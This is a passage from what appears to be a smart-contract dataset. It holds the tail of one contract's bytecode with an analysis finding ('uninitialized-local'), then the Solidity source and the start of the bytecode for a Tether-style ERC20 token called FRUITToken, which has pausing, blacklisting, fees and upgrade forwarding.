191909152604001600020558551869082908110610bed57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611d3b83398151915287856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c5e578181015183820152602001610c46565b50505050905090810190601f168015610c8b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101610aeb565b600160a060020a033316600090815260016020526040902054610cca908463ffffffff61190916565b33600160a060020a03166000908152600160208190526040909120919091559695505050505050565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106f95780601f106106ce576101008083540402835291602001916106f9565b6000805460609060a060020a900460ff1615610d6f57600080fd5b600160a060020a0384161515610d8457600080fd5b600160a060020a03841660009081526003602052604090205460ff1615610daa57600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610dd057600080fd5b610dd984611951565b15610df057610de9848483611959565b9150610928565b610de9848483611bb9565b60036020526000908152604090205460ff1681565b6000805460a060020a900460ff1615610e2857600080fd5b600160a060020a0384161515610e3d57600080fd5b600160a060020a03841660009081526003602052604090205460ff1615610e6357600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610e8957600080fd5b610e9284611951565b15610ea957610ea2848484611959565b9050610eb4565b610ea2848484611bb9565b9392505050565b6000805460a060020a900460ff1615610ed357600080fd5b600160a060020a03338116600090815260026020908152604080832093871683529290522054610f09908363ffffffff61194416565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000806000606060008651111515610fb557600080fd5b8451865114610fc357600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610fe957600080fd5b60009250600091505b85518210156110c5576000858381518110151561100b57fe5b602090810290910101511161101f57600080fd5b855160009087908490811061103057fe5b60209081029091010151600160a060020a0316141561104e57600080fd5b60036000878481518110151561106057fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff161561109057600080fd5b6110b885838151811015156110a157fe5b60209081029091010151849063ffffffff61194416565b9250600190910190610ff2565b600160a060020a0333166000908152600160205260409020548311156110ea57600080fd5b600091505b8551821015610ca157611125858381518110151561110957fe5b90602001906020020151600160008986815181101515610b7b57fe5b60016000888581518110151561113757fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055855186908390811061116857fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611d3b83398151915287858151811015156111a257fe5b90602001906020020151846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111f05781810151838201526020016111d8565b50505050905090810190601f16801561121d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36001909101906110ef565b60005433600160a060020a0390811691161461125157600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600080548190606090829033600160a060020a039081169116146112d857600080fd5b85516000106112e657600080fd5b84518651146112f457600080fd5b5060009150815b855181101561156f576000858281518110151561131457fe5b602090810290910101511161132857600080fd5b855160009087908390811061133957fe5b60209081029091010151600160a060020a0316141561135757600080fd5b60036000878381518110151561136957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff161561139957600080fd5b84818151811015156113a757fe5b906020019060200201516001600088848151811015156113c357fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410156113f157600080fd5b61144d858281518110151561140257fe5b9060200190602002015160016000898581518110151561141e57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61190916565b60016000888481518110151561145f57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558451611494908690839081106110a157fe5b925033600160a060020a031686828151811015156114ae57fe5b90602001906020020151600160a060020a0316600080516020611d3b83398151915287848151811015156114de57fe5b90602001906020020151856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561152c578181015183820152602001611514565b50505050905090810190601f1680156115595780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36001016112fb565b600160a060020a033316600090815260016020526040902054610cca908463ffffffff61194416565b60005433600160a060020a039081169116146115b357600080fd5b600160a060020a03811615156115c857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805460a060020a900460ff161561164857600080fd5b600160a060020a038516151561165d57600080fd5b600160a060020a03851660009081526003602052604090205460ff161561168357600080fd5b600160a060020a03331660009081526003602052604090205460ff16156116a957600080fd5b6116b285611951565b156118f357836116c13361092f565b10156116cc57600080fd5b6116e5846116d98761092f565b9063ffffffff61190916565b600160a060020a0386166000908152600160205260409020556117178461170b8761092f565b9063ffffffff61194416565b600160a060020a038616600081815260016020908152604080832094909455925185519293919286928291908401908083835b602083106117695780518252601f19909201916020918201910161174a565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156117fb5781810151838201526020016117e3565b50505050905090810190601f1680156118285780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561184857fe5b84600160a060020a031633600160a060020a0316600080516020611d3b83398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118b0578181015183820152602001611898565b50505050905090810190601f1680156118dd5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001611901565b6118fe858585611bb9565b90505b949350505050565b60008282111561191557fe5b50900390565b600082151561192c5750600061077c565b5081810281838281151561193c57fe5b041461077c57fe5b8181018281101561077c57fe5b6000903b1190565b600080600160a060020a038516151561197157600080fd5b600160a060020a03851660009081526003602052604090205460ff161561199757600080fd5b836119a13361092f565b10156119ac57600080fd5b600160a060020a03331660009081526003602052604090205460ff16156119d257600080fd5b6119df846116d93361092f565b600160a060020a033316600090815260016020526040902055611a058461170b8761092f565b600160a060020a0380871660008181526001602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b83811015611aa5578181015183820152602001611a8d565b50505050905090810190601f168015611ad25780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611af357600080fd5b505af1158015611b07573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a0316600080516020611d3b83398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b73578181015183820152602001611b5b565b50505050905090810190601f168015611ba05780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b6000600160a060020a0384161515611bd057600080fd5b600160a060020a03841660009081526003602052604090205460ff1615611bf657600080fd5b82611c003361092f565b1015611c0b57600080fd5b600160a060020a03331660009081526003602052604090205460ff1615611c3157600080fd5b611c3e836116d93361092f565b600160a060020a033316600090815260016020526040902055611c648361170b8661092f565b6001600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a0316600080516020611d3b83398151915285856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611cf5578181015183820152602001611cdd565b50505050905090810190601f168015611d225780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600193925050505600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a7230582094c53cb6290be7e2129f4797ad23496d127f7d8417100b806ba8bf544af48c440029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 197 |
0x1f8438d7b87187cb27e8dd7f01a28a5c59410baf | pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded FRUIT) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public returns (bool);
function transferFromByLegacy(address sender, address from, address spender, uint value) public returns (bool);
function approveByLegacy(address from, address spender, uint value) public returns (bool);
}
contract FRUITToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function FRUITToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
} | 0x606060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c14610229578063095ea7b3146102625780630e136b19146102bc5780630ecb93c0146102e957806318160ddd1461032257806323b872dd1461034b57806326976e3f146103c457806327e235e314610419578063313ce56714610466578063353907141461048f5780633eaaf86b146104b85780633f4ba83a146104e157806359bf1abe146104f65780635c658165146105475780635c975abb146105b357806370a08231146105e05780638456cb591461062d578063893d20e8146106425780638da5cb5b1461069757806395d89b41146106ec578063a9059cbb1461077a578063c0324c77146107d4578063cc872b6614610800578063db006a7514610823578063dd62ed3e14610846578063dd644f72146108b2578063e47d6060146108db578063e4997dc51461092c578063e5b5019a14610965578063f2fde38b1461098e578063f3bdc228146109c7575b600080fd5b34156101a657600080fd5b6101ae610a00565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ee5780820151818401526020810190506101d3565b50505050905090810190601f16801561021b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023457600080fd5b610260600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a9e565b005b341561026d57600080fd5b6102a2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbb565b604051808215151515815260200191505060405180910390f35b34156102c757600080fd5b6102cf610d21565b604051808215151515815260200191505060405180910390f35b34156102f457600080fd5b610320600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d34565b005b341561032d57600080fd5b610335610e4d565b6040518082815260200191505060405180910390f35b341561035657600080fd5b6103aa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f1d565b604051808215151515815260200191505060405180910390f35b34156103cf57600080fd5b6103d7611114565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042457600080fd5b610450600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061113a565b6040518082815260200191505060405180910390f35b341561047157600080fd5b610479611152565b6040518082815260200191505060405180910390f35b341561049a57600080fd5b6104a2611158565b6040518082815260200191505060405180910390f35b34156104c357600080fd5b6104cb61115e565b6040518082815260200191505060405180910390f35b34156104ec57600080fd5b6104f4611164565b005b341561050157600080fd5b61052d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611222565b604051808215151515815260200191505060405180910390f35b341561055257600080fd5b61059d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611278565b6040518082815260200191505060405180910390f35b34156105be57600080fd5b6105c661129d565b604051808215151515815260200191505060405180910390f35b34156105eb57600080fd5b610617600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112b0565b6040518082815260200191505060405180910390f35b341561063857600080fd5b6106406113bf565b005b341561064d57600080fd5b61065561147f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106a257600080fd5b6106aa6114a8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106f757600080fd5b6106ff6114cd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073f578082015181840152602081019050610724565b50505050905090810190601f16801561076c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561078557600080fd5b6107ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061156b565b604051808215151515815260200191505060405180910390f35b34156107df57600080fd5b6107fe600480803590602001909190803590602001909190505061172c565b005b341561080b57600080fd5b6108216004808035906020019091905050611811565b005b341561082e57600080fd5b6108446004808035906020019091905050611a08565b005b341561085157600080fd5b61089c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b9b565b6040518082815260200191505060405180910390f35b34156108bd57600080fd5b6108c5611ce0565b6040518082815260200191505060405180910390f35b34156108e657600080fd5b610912600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ce6565b604051808215151515815260200191505060405180910390f35b341561093757600080fd5b610963600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d06565b005b341561097057600080fd5b610978611e1f565b6040518082815260200191505060405180910390f35b341561099957600080fd5b6109c5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e43565b005b34156109d257600080fd5b6109fe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f18565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a965780601f10610a6b57610100808354040283529160200191610a96565b820191906000526020600020905b815481529060010190602001808311610a7957829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610af957600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000604060048101600036905010151515610bd557600080fd5b600a60149054906101000a900460ff1615610d0d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333386866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610ceb57600080fd5b6102c65a03f11515610cfc57600080fd5b505050604051805190509150610d1a565b610d17848461209c565b91505b5092915050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8f57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610f1457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610ef257600080fd5b6102c65a03f11515610f0357600080fd5b505050604051805190509050610f1a565b60015490505b90565b60008060149054906101000a900460ff16151515610f3a57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f9357600080fd5b600a60149054906101000a900460ff16156110ff57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338686866000604051602001526040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050602060405180830381600087803b15156110dd57600080fd5b6102c65a03f115156110ee57600080fd5b50505060405180519050905061110d565b61110a848484612241565b90505b9392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111bf57600080fd5b600060149054906101000a900460ff1615156111da57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff16156113ae57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561138c57600080fd5b6102c65a03f1151561139d57600080fd5b5050506040518051905090506113ba565b6113b7826126ef565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b600060149054906101000a900460ff1615151561143657600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115635780601f1061153857610100808354040283529160200191611563565b820191906000526020600020905b81548152906001019060200180831161154657829003601f168201915b505050505081565b60008060149054906101000a900460ff1615151561158857600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115e157600080fd5b600a60149054906101000a900460ff161561171957600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3385856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156116f757600080fd5b6102c65a03f1151561170857600080fd5b505050604051805190509050611726565b6117238383612738565b90505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178757600080fd5b60148210151561179657600080fd5b6032811015156117a557600080fd5b816003819055506117c4600954600a0a82612aa890919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561186c57600080fd5b600154816001540111151561188057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561195057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054